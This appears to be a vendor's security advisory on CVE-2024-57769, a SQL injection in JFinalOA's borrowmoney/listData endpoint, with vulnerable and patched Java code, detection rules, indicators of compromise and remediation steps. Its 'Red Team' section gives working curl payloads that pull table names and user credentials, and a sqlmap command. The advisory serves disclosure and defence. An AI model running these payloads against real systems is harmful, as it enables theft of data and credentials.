CVE-2024-57769
Executive Summary
CVE-2024-57769 is a critical SQL injection vulnerability discovered in JFinalOA, an open-source office automation system built on the JFinal framework. The flaw resides in the /borrowmoney/listData?applyUser endpoint, where unsanitized user input is directly concatenated into SQL queries. An unauthenticated attacker can exploit this to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The vulnerability affects all versions prior to v2025.01.01. No official patch was available at the time of disclosure, but upgrading to the latest release resolves the issue. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of the vulnerability details increases risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
JFinalOA is a Java-based web application distributed as a WAR file or source code. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application’s own codebase. Organizations using JFinalOA should treat this as a direct supply chain risk and verify the integrity of their deployment.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – the vulnerable component is the database.
- Confidentiality (C): High (H) – full database read access.
- Integrity (I): High (H) – data can be modified or deleted.
- Availability (A): High (H) – potential for denial of service via SQL injection.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability allows unauthenticated remote code execution via SQL injection, enabling complete compromise of the database and potentially the underlying server.
Deep Dive & Mechanics
The vulnerability exists in the borrowmoney/listData endpoint, specifically in the handling of the applyUser parameter. The JFinal framework uses ActiveRecord-style database queries, but the application fails to parameterize the user input. Instead, it concatenates the applyUser value directly into a SQL query string.
Vulnerable Code Path (Conceptual):
// Vulnerable: Direct concatenation
String sql = "SELECT * FROM borrow_money WHERE apply_user = '" + getPara("applyUser") + "'";
Db.find(sql);
Exploitation Mechanics:
An attacker can inject SQL commands by providing a crafted applyUser parameter. For example:
GET /borrowmoney/listData?applyUser=admin' OR '1'='1
This would result in the SQL:
SELECT * FROM borrow_money WHERE apply_user = 'admin' OR '1'='1'
Returning all records. More advanced payloads can use UNION-based injection to extract data from other tables, or stacked queries (if supported) to execute arbitrary commands.
Database Backend: JFinalOA typically uses MySQL or PostgreSQL. The exact syntax may vary, but the core injection vector remains the same.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-v2025.01.01):
// In BorrowMoneyController.java
public void listData() {
String applyUser = getPara("applyUser");
String sql = "SELECT * FROM borrow_money WHERE apply_user = '" + applyUser + "'";
List<Record> records = Db.find(sql);
renderJson(records);
}
Patched Code (v2025.01.01 and later):
// In BorrowMoneyController.java
public void listData() {
String applyUser = getPara("applyUser");
// Use parameterized query
String sql = "SELECT * FROM borrow_money WHERE apply_user = ?";
List<Record> records = Db.find(sql, applyUser);
renderJson(records);
}
The fix replaces string concatenation with a parameterized query using Db.find(sql, param), which safely escapes the input.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable instance of JFinalOA (version < 2025.01.01).
- Network access to the
/borrowmoney/listDataendpoint.
Exploitation Steps:
Identify the endpoint:
curl -v "http://target.com/borrowmoney/listData?applyUser=test"Confirm SQL injection:
curl "http://target.com/borrowmoney/listData?applyUser=test'"If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.
Extract database version (MySQL example):
curl "http://target.com/borrowmoney/listData?applyUser=test' UNION SELECT 1,@@version,3,4,5-- "Extract table names:
curl "http://target.com/borrowmoney/listData?applyUser=test' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables-- "Extract user credentials:
curl "http://target.com/borrowmoney/listData?applyUser=test' UNION SELECT 1,username,password,4,5 FROM sys_user-- "
Automated Exploitation with sqlmap:
sqlmap -u "http://target.com/borrowmoney/listData?applyUser=test" --batch --dbs
Blue Team (Defensive)
Detection:
- Monitor HTTP requests to
/borrowmoney/listDatafor unusualapplyUserparameters containing SQL keywords (e.g.,UNION,SELECT,OR,'). - Use WAF rules to block requests with SQL injection patterns.
Honeypot:
- Deploy a fake JFinalOA instance and log all requests to the vulnerable endpoint.
Lab Setup:
- Download a vulnerable version of JFinalOA (e.g., v2024.12.01) from the official repository.
- Deploy on a local server (e.g., Tomcat) with a MySQL database.
- Access the application and test the endpoint.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/borrowmoney/listDatawithapplyUsercontaining SQL metacharacters (',",--,#,UNION,SELECT). - Unusual response sizes or error messages containing SQL syntax.
File IOCs:
- Modified JFinalOA source files (e.g.,
BorrowMoneyController.java) if the attacker gained file access. - Suspicious log entries in application logs (e.g.,
ERROR: com.jfinal.plugin.activerecord.SqlException).
System IOCs:
- Unexpected database connections or queries from the application server.
- New user accounts or elevated privileges in the database.
Detection Engineering
YARA Rule
rule CVE_2024_57769_JFinalOA_SQLi {
meta:
description = "Detects SQL injection attempts against JFinalOA borrowmoney/listData endpoint"
author = "Valters IT"
date = "2025-02-20"
reference = "CVE-2024-57769"
strings:
$s1 = "borrowmoney/listData" ascii nocase
$s2 = "applyUser=" ascii nocase
$s3 = /['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell)/i
condition:
all of ($s1, $s2, $s3)
}
Sigma Rule
title: CVE-2024-57769 JFinalOA SQL Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against JFinalOA borrowmoney/listData endpoint
author: Valters IT
date: 2025-02-20
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-57769
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "borrowmoney/listData"
- "applyUser="
cs-uri-query|re: '[''"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell)'
condition: selection
falsepositives:
- Legitimate use of special characters in usernames (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-57769 JFinalOA SQL Injection Attempt"; flow:to_server,established; content:"borrowmoney/listData"; http_uri; content:"applyUser="; http_uri; pcre:"/['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade JFinalOA to version v2025.01.01 or later.
- Apply a virtual patch using a WAF to block SQL injection patterns on the
/borrowmoney/listDataendpoint. - Restrict network access to the application to trusted IPs only.
Long-Term Measures:
- Code Review: Audit all database queries in the application for parameterized queries.
- Input Validation: Implement strict input validation for all user-supplied parameters.
- Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., no DROP or CREATE).
- Monitoring: Enable detailed logging and alerting for SQL errors and suspicious queries.
Patch Details:
The official fix is included in JFinalOA v2025.01.01. Upgrade instructions are available at the project’s repository. If upgrading is not immediately possible, manually patch the BorrowMoneyController.java file to use parameterized queries as shown in the patched code section.
Valters IT